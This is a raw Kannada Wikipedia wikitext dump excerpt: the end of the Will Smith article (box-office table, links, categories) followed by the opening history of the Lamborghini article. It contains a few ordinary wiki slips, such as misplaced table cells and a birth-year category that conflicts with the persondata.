ಕರಾಟೆ ಕಿಡ್]]'' | | | ನಿರ್ಮಾಪಕ |} === Box office grosses === {|class="wikitable" style="font-size: 90%;" ಅಂಚು="2" cellpadding="4" background: #f9f9f9; |- column="center" ! style="background:#B0C4DE;" | ವರ್ಷ ! style="background:#B0C4DE;" | ಶಿರೋನಾಮ ! style="background:#B0C4DE;" | Budget ! style="background:#B0C4DE;" | U.S. gross<ref name="The Numbers">{{cite web|title=Will Smith - Box Office Data Movie Star|work=The Numbers|url=http://www.the-numbers.com/people/WSMIT.php|accessdate=2009-01-08}}</ref> ! style="background:#B0C4DE;" |Worldwide gross<ref name="The Numbers"/> |- |1992 |''[[ವೇರ್ ದ ಡೇ ಟೇಕ್ಸ್ ಯು]]'' |rowspan="3"|N/A |$390,152 |$390,152 |- |rowspan="2"| 1993 |''[[ಮೇಡ್ ಇನ್ ಅಮೇರಿಕಾ]]'' |$44,942,695 |$104,942,695 |- |''[[ಸಿಕ್ಸ್ ಡಿಗ್ರೀಸ್ ಆಫ್ ಸೆಪರೇಷನ್]]'' |$6,284,090 |$6,284,090 |- |1995 |''[[ಬ್ಯಾಡ್ ಬಾಯ್ಸ್]]'' |$23m |$65,647,413 |$141,247,413 |- |1996 |''[[ಇಂಡಿಪೆಂಡೆನ್ಸ್ ಡೇ]]'' |$75m |$306,169,255 |$817,400,878 |- |1997 |ಮೆನ್ ಇನ್ ಬ್ಲ್ಯಾಕ್ |rowspan="2"| 2007 |$250,690,539 |$587,790,539 |- |1998 |''[[ಎನಿಮಿ ಆಫ್ ದ ಸ್ಟೇಟ್]]'' |$111,549,836 |$250,649,836 |- |1999 |''[[ವೈಲ್ಡ್ ವೈಲ್ಡ್ ವೆಸ್ಟ್]]'' |$170m |$113,805,681 |$222,105,681 |- |2000 |''[[ದ ಲಿಜೆಂಡ್ ಆಫ್ ಬ್ಯಾಗರ್ ವ್ಯಾನ್ಸ್]]'' |$80m |$30,695,227 |$39,235,486 |- |2001 |''[[ಅಲಿ]]'' |$107m |$58,183,966 |$84,383,966 |- |2002 |''[[ಮೆನ್ ಇನ್ ಬ್ಲ್ಯಾಕ್ II]]'' |$140m |$190,418,803 |$441,818,803 |- |2003 |ಬ್ಯಾಡ್‌ ಬಾಯ್ಸ್‌ II |$60m |$138,540,870 |$272,940,870 |- | rowspan="2"| 2004 |''[[I, ರೋಬೋಟ್]]'' |$120m |$144,801,023 |$348,601,023 |- | ಶಾರ್ಕ್ ಟೆಲ್ |$75m |$161,192,000 |$367,192,000 |- |2005 |''[[ಹಿಚ್]]'' |$70m |$177,784,257 |$366,784,257 |- |2006 |''[[ದ ಪರ್ಸ್ಯೂಟ್ ಆಫ್ ಹ್ಯಾಪಿನೆಸ್]]'' |$55m |$162,586,036 |$306,086,036 |- |2007 |''[[ಐ ಯಾಮ್ ಲಿಜೆಂಡ್]]'' |rowspan="2"| 2007 |$256,393,010 |$585,055,701 |- | rowspan="2"| 2008 |''[[ಹ್ಯಾನ್‌ಕಾಕ್]]'' |$227,946,274 |$624,346,274 |- |''[[ಸೆವೆನ್ ಪೌಂಡ್ಸ್]]'' |$55m |$69,369,933 |$168,482,448 |} == ಇವನ್ನೂ ಗಮನಿಸಿ == * [[ನ್ಯೂ ವಿಲೇಜ್ ಲೀಡರ್‌ಶಿಪ್ ಅಕಾಡೆಮಿ]] == ಆಕರಗಳು == {{Reflist|colwidth=30em}} == ಹೆಚ್ಚಿನ ಓದಿಗಾಗಿ == * ಡೋಡೆನ್, ಮ್ಯಾಟ್ (2007). ''[https://books.google.com/books?id=ki8BOzIWi7wC&amp;printsec=frontcover Will Smith]'' . ಮಿನ್ನೇಪಾಲಿಸ್, ಮಿನ್ನೆಸೊಟಾ, ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್: Lerner Publications, ISBN 0-8225-6608-7 == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == {{wikinews|Scientology ties at New Village Leadership Academy stir controversy for Will Smith and Jada Pinkett-Smith}} {{Commons|Will Smith}} * [http://www.willsmith.com/ ಅಧಿಕೃತ ಜಾಲತಾಣ] * {{imdb name|0000226|Will Smith}} * {{ymovies name|1800019959|Will Smith}} * {{people.com}} * {{musicbrainz artist|id=5bae7081-64ef-4473-825a-38d310deb14c|name=Will Smith}} {{Will Smith}} {{Persondata |NAME = Smith Jr., Willard Christopher |ALTERNATIVE NAMES = Smith, Will |SHORT DESCRIPTION = Actor, producer, and rapper |DATE OF BIRTH = September 25, 1968 |PLACE OF BIRTH = [[Wynnefield, West Philadelphia]], [[Pennsylvania]] |DATE OF DEATH = |PLACE OF DEATH = }} {{DEFAULTSORT:Smith, Will}} [[ವರ್ಗ:1986ರಲ್ಲಿ ಜನಿಸಿದವರು]] [[ವರ್ಗ:ಅಮೆರಿಕಾದ ನೀಗ್ರೋಗಳು]] [[ವರ್ಗ:ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್ ನಟರು]] [[ವರ್ಗ:ಅಮೆರಿಕದ ಕ್ರಿಶ್ಚಿಯನ್ನರು]] [[ವರ್ಗ:ಅಮೆರಿಕಾದ ಚಲನಚಿತ್ರ ನಟರು]] [[ವರ್ಗ:ಅಮೇರಿಕಾದ ಹಿಪ್ ಹಾಪ್ ಸಂಗೀತಗಾರರು]] [[ವರ್ಗ:ಅಮೇರಿಕಾದ ರಾಪ್ಪರ್ಸ್]] [[ವರ್ಗ:ಅಮೇರಿಕಾದ‌ ದೂರದರ್ಶನ ನಟರು]] [[ವರ್ಗ:ಕೊಲಂಬಿಯಾದ ರೆಕಾರ್ಡ್ ಕಲಾವಿದರು]] [[ವರ್ಗ:ಈಸ್ಟ್ ಕೋಸ್ಟ್ ರಾಪ್ಪರ್ಸ್]] [[ವರ್ಗ:ಗ್ರ್ಯಾಮ್ಮಿ ಅವಾರ್ಡ್‌ ವಿಜೇತರು]] [[ವರ್ಗ:ಇಂಟರ್‌ಸ್ಕೋಪ್ ರೆಕಾರ್ಡ್ಸ್ ಕಲಾವಿದರು]] [[ವರ್ಗ:ಸಮಕಾಲೀನ ಜನರು]] [[ವರ್ಗ:ಪೆನ್ನ್ಸಿಲ್ವನಿಯಾ ನಟರು]] [[ವರ್ಗ:ಪೆನ್ಸಿಲ್ವೇನಿಯಾ, ಫಿಲಡೆಲ್ಫಿಯಾದ ಜನರು]] [[ವರ್ಗ:ಪೆನ್ಸಿಲ್ವೇನಿಯಾ, ಫಿಲಡೆಲ್ಫಿಯಾದ ರಾಪ್ಪರ್ಸ್]] [[ವರ್ಗ:MTV ಯುರೋಪ್ ಸಂಗೀತ ಪ್ರಶಸ್ತಿ ವಿಜೇತರರು.]] [[ವರ್ಗ:ವರ್ಸ್ಟ್ ಸ್ಕ್ರೀನ್ ಕಪಲ್ ಗೊಲ್ಡ್ ನ್ ರಾಸ್ಪ್ ಬೆರ್ರ್ಯ್ ಅವಾರ್ಡ್ವ ವಿನ್ನರ್ಸ್]] [[ವರ್ಗ:ಹಾಲಿವುಡ್ ಚಲನಚಿತ್ರ ಕಲಾವಿದರು]] rx0xft5i3931yzjnwk6z5xvtf7e1qx5 ಲಂಬೋರ್ಘಿನಿ 0 22732 1116430 1073596 2022-08-23T12:26:10Z InternetArchiveBot 69876 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox company |company_name = Automobili Lamborghini S.p.A. |company_logo = [[File:Lamborghini logo.svg|180px]]<br />[[File:LamborghiniLogo.png|180px]] |company_type = Wholly-owned subsidiary<ref name=fundinguniverse/> |foundation = October 30, 1963<ref name=fundinguniverse/> |founder = [[Ferruccio Lamborghini]] |location_city = [[Sant'Agata Bolognese]] |location_country = [[Italy]] |area_served = Worldwide |key_people = Stephan Winkelmann,<br /><small>[[CEO]]</small><br />Wolfgang Egger,<br /><small>Head of Design</small> |industry = [[automotive industry|Automotive]] |products = [[Automobiles]] |market cap = |revenue = [[Italian lira|L]] 73 billion <small>(1998 est.)</small><ref name=fundinguniverse/> |operating_income = |net_income = |assets = |equity = |owner = [[Audi|AUDI AG]] |num_employees = 327<ref name=fundinguniverse/> |parent = [[Volkswagen Group]] |divisions = |subsid = |homepage = [http://www.lamborghini.com/ Lamborghini.com] |footnotes = <small>Automobile manufacturing division of Automobili Lamborghini Holding S.p.A., part of the Lamborghini Group, a wholly owned subsidiary of AUDI AG, a 99-percent owned subsidiary of the Volkswagen AG</small> |intl = yes }} '''ಆಟೋಮೊಬಿಲಿ ಲಂಬೋರ್ಘಿನಿ S.p.''' '''A.''' ,<ref name="SpA" group="Notes">S.p.A. ಎಂಬುದು ಒಂದು [[ಜಂಟಿ ಸ್ಟಾಕ್‌ ಕಂಪನಿ]]ಯ [[ಇಟಾಲಿಯನ್‌]] ರೂಪಾಂತರವಾದ ಸೋಷಿಯೇಟಾ ಪೆರ‍್ ಅಝಿಯೊನಿ ಎಂಬುದನ್ನು ಸಂಕೇತಿಸುತ್ತದೆ.</ref> ಸಾಮಾನ್ಯವಾಗಿ '''ಲಂಬೋರ್ಘಿನಿ''' ({{IPA-it|lamborˈɡini|pron|De-Lamborghini-pronunciation.ogg}}) ಎಂದು ಉಲ್ಲೇಖಿಸಲ್ಪಡು. ಇದೊಂದು ಇಟಲಿಯ [[ಮೋಟಾರು ಕಾರು ತಯಾರಕ]] ಕಂಪನಿಯಾಗಿದ್ದು, [[ಸ್ಯಾಂಟ್‌’ಅಗಾಟಾ ಬೊಲೊಗ್ನೀನ್‌]]ನ ಪುಟ್ಟ ಪಟ್ಟಣದಲ್ಲಿ ನೆಲೆಗೊಂಡಿದೆ. ತಯಾರಿಕಾ ವಲಯದಲ್ಲಿ ಪ್ರತಿಷ್ಠಿತ ಹೆಸರಾದ [[ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿ]]ಯಿಂದ ಈ ಕಂಪನಿಯು 1963ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿತು. ಅಲ್ಲಿಂದೀಚೆಗೆ ಇದರ ಮಾಲೀಕತ್ವಗಳು ಹಲವಾರು ಬಾರಿ ಬದಲಾವಣೆಗೊಂಡಿದ್ದು, ತೀರಾ ಇತ್ತೀಚೆಗೆ ಅಂದರೆ 1998ರಲ್ಲಿ [[ಜರ್ಮನ್‌]] ಕಾರು ತಯಾರಕನಾದ [[AUDI AG]] ಕಂಪನಿಗೆ (ಸ್ವತಃ ಇದು [[ವೋಕ್ಸ್‌ವ್ಯಾಗನ್‌ ಗ್ರೂಪ್ಪ್‌]]ನ ಒಂದು ಅಂಗಸಂಸ್ಥೆ) ಇದೊಂದು ಅಂಗಸಂಸ್ಥೆಯಾಗಿ ಮಾರ್ಪಟ್ಟಿದೆ.<ref name="fundinguniverse">{{cite web |url=http://www.fundinguniverse.com/company-histories/Automobili-Lamborghini-Holding-SpA-Company-History.html |title= Automobili Lamborghini Holding S.p.A. Company History |accessdate=2009-08-13}}</ref><ref>[https://web.archive.org/web/20061021115715/http://www.vwgroupsupply.com/b2b/vwb2b_folder/supplypublic/en/brands/Lamborghini.frameset_inner.html VW Group Supply.com] Lamborghini brand overview.</ref> ತನ್ನ ನಯಗೊಳಿಸಿದ, ನವನವೀನ ವಿನ್ಯಾಸಗಳಿಂದಾಗಿ ಲಂಬೋರ್ಘಿನಿಯು ಒಂದು ವ್ಯಾಪಕವಾದ ಮಾನ್ಯತೆಯನ್ನು ಪಡೆದುಕೊಂಡಿದೆ, ಮತ್ತು ಇದರ ಕಾರುಗಳು ನಿರ್ವಹಣೆ ಮತ್ತು ಶ್ರೀಮಂತಿಕೆಯ ಸಂಕೇತಗಳಾಗಿವೆ. ತನ್ನ ಸ್ಥಳೀಯ ಪ್ರತಿಸರ್ಧಿ ಕಂಪನಿಯಿಂದ ನೀಡಲ್ಪಡುವ ವಾಹನಗಳಿಗಿಂತ ಉತ್ತಮವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಬಲ್ಲ ಮತ್ತು ಗುಣದಲ್ಲಿ ಸುಲಭವಾಗಿ ಮೀರಿಸಬಲ್ಲ ಉನ್ನತ ದರ್ಜೆಯ [[ವೈಭವದ ಪ್ರವಾಸ ವಾಹನ]]ವನ್ನು ಉತ್ಪಾದಿಸುವ ಗುರಿಯೊಂದಿಗೆ, ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿಯು ವಾಹನ ತಯಾರಿಕೆಯ ವ್ಯವಹಾರವನ್ನು ಪ್ರವೇಶಿಸಿದ. [[ಫೆರಾರಿ S.p.]] [[A.]] ಕಂಪನಿಯು ಸದರಿ ಪ್ರತಿಸ್ಪರ್ಧಿ ಕಂಪನಿಯಾಗಿತ್ತು. ಇದನ್ನು ಆತ ಕಂಪನಿಯ ಮೊದಲ ಮಾದರಿಗಳಾದ, 350GT ಹಾಗೂ 400GTನೊಂದಿಗೆ ಈಡೇರಿಸಿದ.<ref>{{cite web |url=http://www.400gt.com/articles/compare/wallace-compares.htm |title=Comparing the original 350GT with Ferrari |publisher=400gt.com |date= |accessdate=2009-11-19}}</ref><ref>{{cite web |url=http://www.400gt.com/articles/compare/road-and-track-compares.htm |title=Lamborghini 400GT - One Drive and Everyone had a New Favorite Car |publisher=400gt.com |date= |accessdate=2009-11-19}}</ref><ref name="Widescreen Action">{{cite web |url=http://www.400gt.com/articles/compare/widescreen_action.htm |title=Widescreen Action |publisher=400gt.com |date= |accessdate=2009-11-19}}</ref> 1966ರಲ್ಲಿ [[ಮಧ್ಯ-ಎಂಜಿನ್ನಿನ]] [[ಮಿಯುರಾ]] ಕ್ರೀಡಾ ಕೂಪೇ ಮಾದರಿ ಹಾಗೂ, 1968ರಲ್ಲಿ [[ಎಸ್ಪಡಾ]] GT ಮಾದರಿಯನ್ನು ಬಿಡುಗಡೆ ಮಾಡುವುದರೊಂದಿಗೆ ಲಂಬೋರ್ಘಿನಿ ಮತ್ತೊಮ್ಮೆ ಯಶಸ್ಸು ಸಾಧಿಸಿದ. [[ಎಸ್ಪಡಾ]] GT ಮಾದರಿಯ ಹತ್ತು ವರ್ಷಗಳ ಉತ್ಪಾದನಾ ಅವಧಿಯಲ್ಲಿ 1,200ಕ್ಕೂ ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯಲ್ಲಿ ಆ ಕಾರುಗಳು ಮಾರಾಟಗೊಂಡವು. ಕ್ಷಿಪ್ರ ಬೆಳವಣಿಗೆಯನ್ನು ಕಂಡ ಸರಿಸುಮಾರು ಒಂದು ದಶಕದ ನಂತರ, ಮತ್ತು 1974ರಲ್ಲಿ ಬಂದ [[ಕೌಂಟಾಕ್‌]]ನಂಥ ಶ್ರೇಷ್ಠ ಮಾದರಿಗಳು ಬಿಡುಗಡೆಯಾದ ನಂತರ, [[1973ರ ತೈಲ ಬಿಕ್ಕಟ್ಟು]] ಗೋಚರವಾದ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಮಾರಾಟಗಳು ಕುಸಿದಿದ್ದರಿಂದ, 1970ರ ದಶಕದ ಅಂತ್ಯದ ವೇಳೆಗೆ ಕಂಪನಿಯು ಕಷ್ಟದ ದಿನಗಳನ್ನು ಎದುರು ನೋಡಬೇಕಾಯಿತು. ದಿವಾಳಿತನವು ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯ ಶಕ್ತಿಗುಂದಿಸಿತು, ಮತ್ತು ಅನೇಕ ಸ್ವಿಸ್‌ ಉದ್ಯಮಿಗಳ ಕೈಗಳ ಮೂಲಕ ಹಾದುಹೋದ ನಂತರ [[ಕ್ರಿಸ್ಲರ್‌]] ಎಂಬ ಉದ್ಯಮದ ದೈತ್ಯನ ಸಾಂಸ್ಥಿಕ ಆಶ್ರಯದ ಅಡಿಯಲ್ಲಿ ಲಂಬೋರ್ಘಿನಿ ಸೇರಿಕೊಂಡಿತು. ಇಟಲಿಯ ಕಾರುತಯಾರಕನನ್ನು ಲಾಭದಾಯಕತೆಯ ಹೊಸ್ತಿಲಲ್ಲಿ ತಂದು ನಿಲ್ಲಿಸುವಲ್ಲಿ ಅಮೆರಿಕಾದ ಕಂಪನಿಯು ವಿಫಲಗೊಂಡಿತು, ಮತ್ತು 1994ರಲ್ಲಿ, ಕಂಪನಿಯು ಇಂಡೋನೇಷಿಯಾದ ಹಿತಾಸಕ್ತಿಗಳ ಗುಂಪಿಗೆ ಮಾರಲ್ಪಟ್ಟಿತು. 1990ರ ದಶಕದ ಉಳಿದ ಭಾಗದಾದ್ಯಂತ ಲಂಬೋರ್ಘಿನಿಯು ಜೀವಾಧಾರಕತೆಯನ್ನು ಪಡೆದಿತ್ತು. ಅಮೆರಿಕಾದ ಉತ್ಸಾಹೀ ಕನಸುಗಾರಿಗೆ ಮೆಚ್ಚುಗೆಯಾಗಬಲ್ಲ ಒಂದು ಸಣ್ಣಗಾತ್ರದ ಕಾರಿನ ತಯಾರಿಕೆಯೂ ಸೇರಿದಂತೆ, ನೀಡಿಕೆಗಳ ಒಂದು ಯೋಜಿತ ವಿಸ್ತರಣಾ ಶ್ರೇಣಿಯ ಬದಲಿಗೆ, ಕಂಪನಿಯು 1990ರ ಮಾದರಿಯಾದ [[ಡಯಾಬ್ಲೊ]]ವನ್ನು ನಿರಂತರವಾಗಿ ಪರಿಷ್ಕರಿಸುತ್ತಾ ಹೋಯಿತು. ಹಿಂದಿನ ವರ್ಷದಲ್ಲಿ ಕಂಡುಬಂದ [[ಏಷ್ಯಾದ ಹಣಕಾಸು ಬಿಕ್ಕಟ್ಟಿನಿಂದ]] ತತ್ತರಿಸಿ ಹೋದಮೇಲೆ, ಜರ್ಮನ್‌ ಮೋಟಾರು ವಾಹನ ವಲಯದ [[ಸಂಸ್ಥೆ]]ಯಾದ [[ವೋಕ್ಸ್‌ವ್ಯಾಗನ್‌ ಗ್ರೂಪ್‌‌]]ನ ವಿಲಾಸಿ ಕಾರುಗಳ ಅಂಗಸಂಸ್ಥೆಯಾದ [[AUDI AG]]ಗೆ 1998ರಲ್ಲಿ ಲಂಬೋರ್ಘಿನಿಯ ಮಾಲೀಕರು ತೊಂದರೆಗೀಡಾದ ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯನ್ನು ಮಾರಿದರು. ನಂತರದ ದಶಕದ ಅವಧಿಯಲ್ಲಿ ಮಾರಾಟಗಳು ಸರಿಸುಮಾರು ಹತ್ತುಪಟ್ಟು ಹೆಚ್ಚಾಗುವುದರೊಂದಿಗೆ, ಜರ್ಮನ್‌ ಮಾಲೀಕತ್ವದಿಂದಾಗಿ ಲಂಬೋರ್ಘಿನಿಯ ಸ್ಥಿರತೆ ಮತ್ತು ಹೆಚ್ಚಳಗೊಂಡ ಉತ್ಪಾದಕತೆಯ ಅವಧಿ ಪ್ರಾರಂಭವಾಯಿತು. ಸ್ಯಾಂಟ್‌’ಅಗಾಟಾ ಬೊಲೊಗ್ನೀಸ್‌ನಲ್ಲಿನ ಮೋಟಾರು ಕಾರು ತಯಾರಕನ ಮೂಲರೂಪದ ನೆಲೆಯಲ್ಲಿ ಲಂಬೋರ್ಘಿನಿ ಕಾರುಗಳ ಜೋಡಾಣಾ ಕಾರ್ಯವು ನಿರಂತರವಾಗಿ ನಡೆಯುತ್ತದೆ. ಇಲ್ಲಿನ ಏಕ ಕಾರ್ಖಾನೆಯಲ್ಲಿ ಎಂಜಿನ್‌ ಮತ್ತು ಮೋಟಾರು ವಾಹನದ ತಯಾರಿಕಾ ಶ್ರೇಣಿಯು ಪಕ್ಕಪಕ್ಕದಲ್ಲೇ ನಡೆಯುತ್ತದೆ. ಮಾರಾಟಕ್ಕಾಗಿ ನೀಡಲಾಗುವ ನಾಲ್ಕು ಮಾದರಿಗಳ 3,000ದಷ್ಟು ಸಂಖ್ಯೆಗಿಂತ ಕಡಿಮೆಯ ವಾಹನಗಳನ್ನು ಈ ತಯಾರಿಕಾ ಸೌಕರ್ಯವು ಪ್ರತಿವರ್ಷವೂ ಉತ್ಪಾದಿಸುತ್ತದೆ. V10-ಶಕ್ತಿಯೊಂದಿಗಿನ [[ಗಲ್ಲಾರ್ಡೊ]] ಕೂಪೇ ಮತ್ತು ರೋಡ್‌ಸ್ಟರ್‌ ಮಾದರಿ, ಹಾಗೂ V12-ಶಕ್ತಿಯೊಂದಿಗಿನ [[ಅಧಿಪತ್ಯದ]] [[ಮರ್ಸಿಲ್ಯಾಗೊ]] ಕೂಪೇ ಮತ್ತು ರೋಡ್‌ಸ್ಟರ್‌ ಮಾದರಿಗಳೇ ಈ ನಾಲ್ಕು ಮಾದರಿಗಳಾಗಿವೆ. [[ರೆವೆಂಟನ್‌]] ಮತ್ತು ''ಸೂಪರ್‌ಲೆಗೆರಾ'' [[ಟ್ರಿಮ್‌ ಪ್ಯಾಕೇಜು]]ಗಳಂಥ ಅನೇಕ ಸಂಖ್ಯೆಯ ನಾಲ್ಕು ಪ್ರಮುಖ ಮಾದರಿಗಳ ಸೀಮಿತ-ಆವೃತ್ತಿಯ ರೂಪಾಂತರಗಳು ಉತ್ಪನ್ನಶ್ರೇಣಿಗೆ ಆಗಾಗ ಬಂದು ಸೇರುತ್ತವೆ. ==ಇತಿಹಾಸ== ===ಮೂಲ=== [[ಉತ್ತರ ಇಟಲಿ]]ಯ [[ಎಮಿಲಿಯಾ-ರೋಮಗ್ನಾ]] ವಲಯದಲ್ಲಿನ [[ಫೆರಾರಾದ ಪ್ರಾಂತ್ಯ]]ದ [[ರೆನಾಝೊ ಡಿ ಸೆಂಟೊ]] ''[[ಕೊಮ್ಯೂನ್‌]]'' ನಿಂದ ಬಂದ [[ದ್ರಾಕ್ಷಿ ಬೆಳೆಗಾರ]]ನ ಮಗುವಾದ [[ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿ]]ಯೊಂದಿಗೆ ಮೋಟಾರು ಕಾರು ತಯಾರಕನ ಕಥೆಯು ಪ್ರಾರಂಭವಾಯಿತು.<ref name="fundinguniverse" /><ref name="Jolliffe15">ಜೊಲಿಫೆ, 15.</ref> [[IIನೇ ಜಾಗತಿಕ ಸಮರ]]ದ ಅವಧಿಯಲ್ಲಿ [[ಇಟಲಿಯ ವಾಯುಪಡೆ]]ಯಲ್ಲಿ <ref name="Sackey14">ಸ್ಯಾಕೆ, 14.</ref><ref name="obituary">{{cite news |url = http://www.independent.co.uk/news/people/obituary-ferruccio-lamborghini-1474704.html |title = Obituary: Ferruccio Lamborghini |last = Wood |first = Jonathan |date = 23 February 1993 |accessdate = 12 August 2009}}</ref> ಓರ್ವ ಯಂತ್ರಕರ್ಮಿಯಾಗಿ (ಮೆಕ್ಯಾನಿಕ್‌) ಸೇವೆ ಸಲ್ಲಿಸಿದ ನಂತರ, ಯುದ್ಧದ ಪ್ರಯತ್ನದ ನಂತರ ಉಳಿದುಹೋಗಿದ್ದ ಸೇನಾ ಸಾಮಗ್ರಿಗಳ ಪ್ರಯೋಜನವನ್ನು ಪಡೆಯುವ ಮೂಲಕ, ಲಂಬೋರ್ಘಿನಿಯು [[ಟ್ರಾಕ್ಟರ್‌]]ಗಳನ್ನು ನಿರ್ಮಿಸುವ ವ್ಯವಹಾರವನ್ನು ಪ್ರವೇಶಿಸಿದ. 1950ರ ದಶಕದ ಮಧ್ಯಭಾಗದ ಹೊತ್ತಿಗೆ, ಲಂಬೋರ್ಘಿನಿ ಟ್ರಾಟ್ಟೊರಿ S.p.A.<ref name="museostorico">{{cite web |url=http://www.samedeutz-fahr.com/museo/uk/marchi-lamborghini.htm |title=Museo Storico Gruppo Same |accessdate=2009-08-17}}</ref> ಎಂಬ ಲಂಬೋರ್ಘಿನಿಯ ಟ್ರಾಕ್ಟರ್‌ ಕಂಪನಿಯು ದೇಶದಲ್ಲಿನ ಅತಿದೊಡ್ಡ ಕೃಷಿ ಉಪಕರಣ ತಯಾರಕರಲ್ಲಿ ಒಬ್ಬನಾಗಿತ್ತು.<ref name="Jolliffe18">ಜೊಲಿಫೆ, 18.</ref> ಯಶಸ್ವಿಯಾದ [[ಗ್ಯಾಸ್‌ ಹೀಟರ್‌]] ಮತ್ತು [[ಹವಾನಿಯಂತ್ರಿತ ವ್ಯವಸ್ಥೆ]]ಯ ತಯಾರಕ ಕಂಪನಿಯೊಂದಕ್ಕೆ ಆತ ಮಾಲೀಕನೂ ಆಗಿದ್ದ.<ref name="Sackey14" /><ref name="Jolliffe18" /><ref name="T&CC">{{Citation |last= |first= |author-link= |title=Interview with Ferruccio Lamborghini |newspaper= Thoroughbred & Classic Cars |volume= |issue= |pages= |date=January 1991 |url=http://www.400gt.com/articles/compare/interview.htm}}.</ref> ಲಂಬೋರ್ಘಿನಿಯ ಹೆಚ್ಚಳಗೊಂಡ ಶ್ರೀಮಂತಿಕೆಯು ಕಾರುಗಳ ಕುರಿತು ಬಾಲ್ಯದಲ್ಲಿ ಆತನಿಗಿದ್ದ ಆಸಕ್ತಿಯನ್ನು ಬೆಳೆಸಿಕೊಳ್ಳಲು ಅನುವುಮಾಡಿಕೊಟ್ಟಿತು. ಇದರಿಂದಾಗಿ [[ಆಲ್ಫಾ ರೋಮಿಯೋ]]ಗಳು, [[ಲಾನ್ಸಿಯಾ]]ಗಳು, [[ಮಸೆರಾಟಿ]]ಗಳು, ಮತ್ತು ಒಂದು [[ಮರ್ಸಿಡಿಸ್‌ ಬೆಂಝ್‌]] ಸೇರಿದಂತೆ ಅನೇಕ ವಿಲಾಸಿ ಕಾರುಗಳನ್ನು ಹೊಂದಲು ಅವನಿಗೆ ಸಾಧ್ಯವಾಯಿತು.<ref name="T&CC" /> ಒಂದು [[250GT]] ಮಾದರಿಯಾಗಿದ್ದ ತನ್ನ ಮೊದಲ [[ಫೆರಾರಿ]] ಕಾರನ್ನು, 1958ರಲ್ಲಿ ಆತ ಖರೀದಿಸಿದ, ಮತ್ತು ಹಲವಾರು ಕಾರುಗಳನ್ನು ಕೊಳ್ಳುತ್ತಲೇ ಹೋದ. ಕಾರುಗಳನ್ನು ಆತ ಇಷ್ಟಪಡುತ್ತಿದ್ದ ಸಂದರ್ಭದಲ್ಲಿಯೇ, ಅವು ತುಂಬಾ ಶಬ್ದವನ್ನುಂಟುಮಾಡುತ್ತವೆ ಹಾಗೂ ಸೂಕ್ತವಾದ [[ರಸ್ತೆಯ ಕಾರು]]ಗಳಿಗಾಗಿ ಅವು ಕೊಂಚ ಬಿರುಸಾಗಿವೆ ಎಂದು ಅವನಿಗನ್ನಿಸಿತು. ಹೀಗಾಗಿ ಅವನ್ನು [[ಓಟದ ಪಂದ್ಯದ ಹಾದಿಯ ಕಾರುಗಳಾಗಿ]] ಬದಲಾಯಿಸಲು ಅವನು ಇಚ್ಛಿಸಿದ.<ref name="T&CC" /> ತನ್ನದೇ ಆದ ಒಂದು ವಾಹನ ತಯಾರಿಕಾ ಸಾಹಸದ ಉದ್ದೇಶವನ್ನು ಮುಂದುವರೆಸುವವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಲಂಬೋರ್ಘಿನಿಗೆ ಕೆಲವೇ ದಿನಗಳಲ್ಲಿ ಬಿರುಸಾದ ಪ್ರಚೋದನೆಯು ಸಿಕ್ಕಿತು.<ref name="Jolliffe18" /><ref name="RAI">{{cite video |people = Unknown |title = Interview with Ferruccio Lamborghini |medium = TV interview |publisher = RAI |location = Italy |date = Unknown |url = https://www.youtube.com/watch?v=SmUFKgjB6KQ}}</ref> ===1963-1964: ಹುಟ್ಟುಹಾಕುವಿಕೆ ಮತ್ತು ಮೊದಲ ಸೇರ್ಪಡೆಗಳು=== 1963ರ ಜುಲೈನಲ್ಲಿ, ಸೆಂಟೋದಿಂದ ...{{Convert|30|km}}ಗೂ ಕಡಿಮೆ ದೂರದಲ್ಲಿರುವ [[ಸ್ಯಾಂಟ್‌’ಅಗಾಟಾ ಬೊಲೊಗ್ನೀಸ್‌‌]]ನ ಪ್ರಾಂತೀಯ ಭಾಗದಲ್ಲಿರುವ 12 ವಿಯಾ ಮೊಡೆನಾ ಎಂಬಲ್ಲಿ ಒಂದು ಜಾಹೀರಾತು ಫಲಕವನ್ನು ನಿಲ್ಲಿಸಲಾಯಿತು. ಈ ಫಲಕದಲ್ಲಿ ''"ಕ್ವಿ ಸ್ಟಬಿಲ್‌ಮೆಂಟೋ ಲಂಬೋರ್ಘಿನಿ ಆಟೊಮೊಬೈಲ್‌"'' ({{lang-en|Lamborghini car factory here}}) ಎಂದು ಬರೆಯಲಾಗಿದ್ದು, ಅದು ಪ್ರದೇಶದಲ್ಲಿನ ಒಂದು {{Convert|46000|sqm}} ಹೆಮ್ಮೆಪಡುವಿಕೆಯ ಸಂಕೇತವಾಗಿತ್ತು. 1963ರ ಅಕ್ಟೋಬರ‍್ 30ರಂದು, ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯು [[ಸಂಘಟಿಸಲ್ಪಟ್ಟಿತು]], ಮತ್ತು ಆಟೋಮೊಬಿಲಿ ಲಂಬೋರ್ಘಿನಿ ''[[ಸೋಷಿಯೇಟಾ ಪೆರ‍್ ಅಝಿಯೊನಿ]]'' ಯು ಜನ್ಮತಳೆಯಿತು.<ref name="Sackey14" /> ಸ್ಯಾಂಟ್‌’ಅಗಾಟಾದಲ್ಲಿ ತನ್ನ ಮೋಟಾರು ವಾಹನ ಕಾರ್ಖಾನೆಯನ್ನು ತೆರೆಯುವುದಕ್ಕೆ ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿಗೆ ಹಲವಾರು ಕಾರಣಗಳಿದ್ದವು. [[ಕಮ್ಯುನಿಸ್ಟ್‌]] ನಗರದ ನಾಯಕತ್ವದೊಂದಿಗೆ ಅವನು 